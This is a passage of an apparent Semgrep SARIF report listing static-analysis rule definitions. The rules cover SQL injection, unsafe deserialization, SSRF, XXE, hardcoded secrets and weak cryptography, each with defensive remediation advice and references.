table\")'"},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.sqli.pg8000-sqli.pg8000-sqli","id":"python.lang.security.audit.sqli.pg8000-sqli.pg8000-sqli","name":"python.lang.security.audit.sqli.pg8000-sqli.pg8000-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.sqli.pg8000-sqli.pg8000-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-ruamel-django.tainted-ruamel-django)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://yaml.readthedocs.io/en/latest/api/](https://yaml.readthedocs.io/en/latest/api/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-ruamel-django.tainted-ruamel-django","id":"python.django.deserialization.tainted-ruamel-django.tainted-ruamel-django","name":"python.django.deserialization.tainted-ruamel-django.tainted-ruamel-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-ruamel-django.tainted-ruamel-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-url-to-httpful.tainted-url-to-httpful)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://github.com/nategood/httpful](https://github.com/nategood/httpful)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-url-to-httpful.tainted-url-to-httpful","id":"php.lang.security.tainted-url-to-httpful.tainted-url-to-httpful","name":"php.lang.security.tainted-url-to-httpful.tainted-url-to-httpful","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-url-to-httpful.tainted-url-to-httpful"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Amazon MWS Auth Token detected"},"help":{"markdown":"Amazon MWS Auth Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-amazon-mws-auth-token.detected-amazon-mws-auth-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Amazon MWS Auth Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-amazon-mws-auth-token.detected-amazon-mws-auth-token","id":"generic.secrets.security.detected-amazon-mws-auth-token.detected-amazon-mws-auth-token","name":"generic.secrets.security.detected-amazon-mws-auth-token.detected-amazon-mws-auth-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-amazon-mws-auth-token.detected-amazon-mws-auth-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found usage of 'importlib.abc.ResourceReader'. This module is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use another loader."},"help":{"markdown":"Found usage of 'importlib.abc.ResourceReader'. This module is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use another loader.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-importlib3)\n","text":"Found usage of 'importlib.abc.ResourceReader'. This module is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use another loader."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-importlib3","id":"python.lang.compatibility.python37.python37-compatibility-importlib3","name":"python.lang.compatibility.python37.python37-compatibility-importlib3","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-importlib3"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of `$METHOD(\"$VALUE\")` which is considered a weak cryptographic algorithm. Where possible, leverage the industry standard recommendation which is to use a block cipher such as `AES` with at least `128-bit` strength, an example of a secure algorithm is `AES-256-GCM`. If your company has its own guidelines, you should follow your company's internal best practices."},"help":{"markdown":"Detected the use of `$METHOD(\"$VALUE\")` which is considered a weak cryptographic algorithm. Where possible, leverage the industry standard recommendation which is to use a block cipher such as `AES` with at least `128-bit` strength, an example of a secure algorithm is `AES-256-GCM`. If your company has its own guidelines, you should follow your company's internal best practices.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.crypto.weak-symmetric-algorithm.weak-symmetric-algorithm)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected the use of `$METHOD(\"$VALUE\")` which is considered a weak cryptographic algorithm. Where possible, leverage the industry standard recommendation which is to use a block cipher such as `AES` with at least `128-bit` strength, an example of a secure algorithm is `AES-256-GCM`. If your company has its own guidelines, you should follow your company's internal best practices."},"helpUri":"https://semgrep.dev/r/javascript.crypto.weak-symmetric-algorithm.weak-symmetric-algorithm","id":"javascript.crypto.weak-symmetric-algorithm.weak-symmetric-algorithm","name":"javascript.crypto.weak-symmetric-algorithm.weak-symmetric-algorithm","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.crypto.weak-symmetric-algorithm.weak-symmetric-algorithm"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a hardcoded hmac key. Avoid hardcoding secrets and consider using an alternate option such as reading the secret from a config file or using an environment variable."},"help":{"markdown":"Detected a hardcoded hmac key. Avoid hardcoding secrets and consider using an alternate option such as reading the secret from a config file or using an environment variable.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.hardcoded-hmac-key.hardcoded-hmac-key)\n - [https://rules.sonarsource.com/javascript/RSPEC-2068](https://rules.sonarsource.com/javascript/RSPEC-2068)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#key-management](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#key-management)\n","text":"Detected a hardcoded hmac key. Avoid hardcoding secrets and consider using an alternate option such as reading the secret from a config file or using an environment variable."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.hardcoded-hmac-key.hardcoded-hmac-key","id":"javascript.lang.security.audit.hardcoded-hmac-key.hardcoded-hmac-key","name":"javascript.lang.security.audit.hardcoded-hmac-key.hardcoded-hmac-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.hardcoded-hmac-key.hardcoded-hmac-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"help":{"markdown":"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.tainted-pickle-deserialization.tainted-pickle-deserialization)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.tainted-pickle-deserialization.tainted-pickle-deserialization","id":"python.aws-lambda.security.tainted-pickle-deserialization.tainted-pickle-deserialization","name":"python.aws-lambda.security.tainted-pickle-deserialization.tainted-pickle-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.tainted-pickle-deserialization.tainted-pickle-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"By setting `allErrors: true` in `Ajv` library, all error objects will be allocated without limit. This allows the attacker to produce a huge number of errors which can lead to denial of service. Do not use `allErrors: true` in production."},"help":{"markdown":"By setting `allErrors: true` in `Ajv` library, all error objects will be allocated without limit. This allows the attacker to produce a huge number of errors which can lead to denial of service. Do not use `allErrors: true` in production.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.ajv.security.audit.ajv-allerrors-true.ajv-allerrors-true)\n - [https://ajv.js.org/options.html#allerrors](https://ajv.js.org/options.html#allerrors)\n","text":"By setting `allErrors: true` in `Ajv` library, all error objects will be allocated without limit. This allows the attacker to produce a huge number of errors which can lead to denial of service. Do not use `allErrors: true` in production."},"helpUri":"https://semgrep.dev/r/javascript.ajv.security.audit.ajv-allerrors-true.ajv-allerrors-true","id":"javascript.ajv.security.audit.ajv-allerrors-true.ajv-allerrors-true","name":"javascript.ajv.security.audit.ajv-allerrors-true.ajv-allerrors-true","properties":{"precision":"very-high","tags":["CWE-400: Uncontrolled Resource Consumption","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.ajv.security.audit.ajv-allerrors-true.ajv-allerrors-true"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected wildcard access granted to sts:AssumeRole. This means anyone with your AWS account ID and the name of the role can assume the role. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:root`."},"help":{"markdown":"Detected wildcard access granted to sts:AssumeRole. This means anyone with your AWS account ID and the name of the role can assume the role. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:root`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.wildcard-assume-role.wildcard-assume-role)\n - [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/)\n","text":"Detected wildcard access granted to sts:AssumeRole. This means anyone with your AWS account ID and the name of the role can assume the role. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:root`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.wildcard-assume-role.wildcard-assume-role","id":"terraform.aws.security.wildcard-assume-role.wildcard-assume-role","name":"terraform.aws.security.wildcard-assume-role.wildcard-assume-role","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.wildcard-assume-role.wildcard-assume-role"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected non-static command inside Command. Audit the input to 'exec.Command'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside Command. Audit the input to 'exec.Command'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.dangerous-exec-command.dangerous-exec-command)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static command inside Command. Audit the input to 'exec.Command'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.dangerous-exec-command.dangerous-exec-command","id":"go.lang.security.audit.dangerous-exec-command.dangerous-exec-command","name":"go.lang.security.audit.dangerous-exec-command.dangerous-exec-command","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.dangerous-exec-command.dangerous-exec-command"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to contain a hardcoded encryption key for use with the Realm database. An attacker that obtains this key via reverse engineering or access to source code will be able to re-use this key to encrypt or decrypt Realm data. Cryptographic keys should be unique, and randomly generated per user, per client."},"help":{"markdown":"The application was observed to contain a hardcoded encryption key for use with the Realm database. An attacker that obtains this key via reverse engineering or access to source code will be able to re-use this key to encrypt or decrypt Realm data. Cryptographic keys should be unique, and randomly generated per user, per client.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.hardcoded-realm.swift-hardcoded-realm-key)\n - [https://ali-akhtar.medium.com/realm-custom-configuration-and-encryption-realmswift-part-3-f991f090ae22](https://ali-akhtar.medium.com/realm-custom-configuration-and-encryption-realmswift-part-3-f991f090ae22)\n - [https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/](https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/)\n - [https://mas.owasp.org/MASVS/controls/MASVS-CRYPTO-1/](https://mas.owasp.org/MASVS/controls/MASVS-CRYPTO-1/)\n","text":"The application was observed to contain a hardcoded encryption key for use with the Realm database. An attacker that obtains this key via reverse engineering or access to source code will be able to re-use this key to encrypt or decrypt Realm data. Cryptographic keys should be unique, and randomly generated per user, per client."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.hardcoded-realm.swift-hardcoded-realm-key","id":"swift.commoncrypto.hardcoded-realm.swift-hardcoded-realm-key","name":"swift.commoncrypto.hardcoded-realm.swift-hardcoded-realm-key","properties":{"precision":"very-high","tags":["CWE-321: Use of Hard-coded Cryptographic Key","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.hardcoded-realm.swift-hardcoded-realm-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-lxml.tainted-flask-xml-lxml)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://github.com/lxml/lxml/blob/master/src/lxml/etree.pyx](https://github.com/lxml/lxml/blob/master/src/lxml/etree.pyx)\n - [https://lxml.de/parsing.html](https://lxml.de/parsing.html)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-lxml.tainted-flask-xml-lxml","id":"python.flask.xml.tainted-flask-xml-lxml.tainted-flask-xml-lxml","name":"python.flask.xml.tainted-flask-xml-lxml.tainted-flask-xml-lxml","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.xml.tainted-flask-xml-lxml.tainted-flask-xml-lxml"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.sqlx.hardcoded-password.hardcoded-password)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.sqlx.hardcoded-password.hardcoded-password","id":"rust.secrets.sqlx.hardcoded-password.hardcoded-password","name":"rust.secrets.sqlx.hardcoded-password.hardcoded-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.sqlx.hardcoded-password.hardcoded-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Externally controlled data influences a format string. This can allow an attacker to leak information from memory or trigger memory corruption. Format strings should be constant strings to prevent these issues. If you need to print a user-controlled string then you can use `%s`."},"help":{"markdown":"Externally controlled data influences a format string. This can allow an attacker to leak information from memory or trigger memory corruption. Format strings should be constant strings to prevent these issues. If you need to print a user-controlled string then you can use `%s`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.format-string.format-string-injection.format-string-injection)\n - [https://wiki.sei.cmu.edu/confluence/display/c/FIO30-C.+Exclude+user+input+from+format+strings](https://wiki.sei.cmu.edu/confluence/display/c/FIO30-C.+Exclude+user+input+from+format+strings)\n","text":"Externally controlled data influences a format string. This can allow an attacker to leak information from memory or trigger memory corruption. Format strings should be constant strings to prevent these issues. If you need to print a user-controlled string then you can use `%s`."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.format-string.format-string-injection.format-string-injection","id":"cpp.lang.security.format-string.format-string-injection.format-string-injection","name":"cpp.lang.security.format-string.format-string-injection.format-string-injection","properties":{"precision":"very-high","tags":["CWE-134: Use of Externally-Controlled Format String","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.format-string.format-string-injection.format-string-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"help":{"markdown":"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-pickle)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n","text":"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"helpUri":"https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-pickle","id":"python.lang.security.deserialization.pickle.avoid-pickle","name":"python.lang.security.deserialization.pickle.avoid-pickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.deserialization.pickle.avoid-pickle"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-marshal-fastapi.tainted-marshal-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-marshal-fastapi.tainted-marshal-fastapi","id":"python.fastapi.deserialization.tainted-marshal-fastapi.tainted-marshal-fastapi","name":"python.fastapi.deserialization.tainted-marshal-fastapi.tainted-marshal-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-marshal-fastapi.tainted-marshal-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To 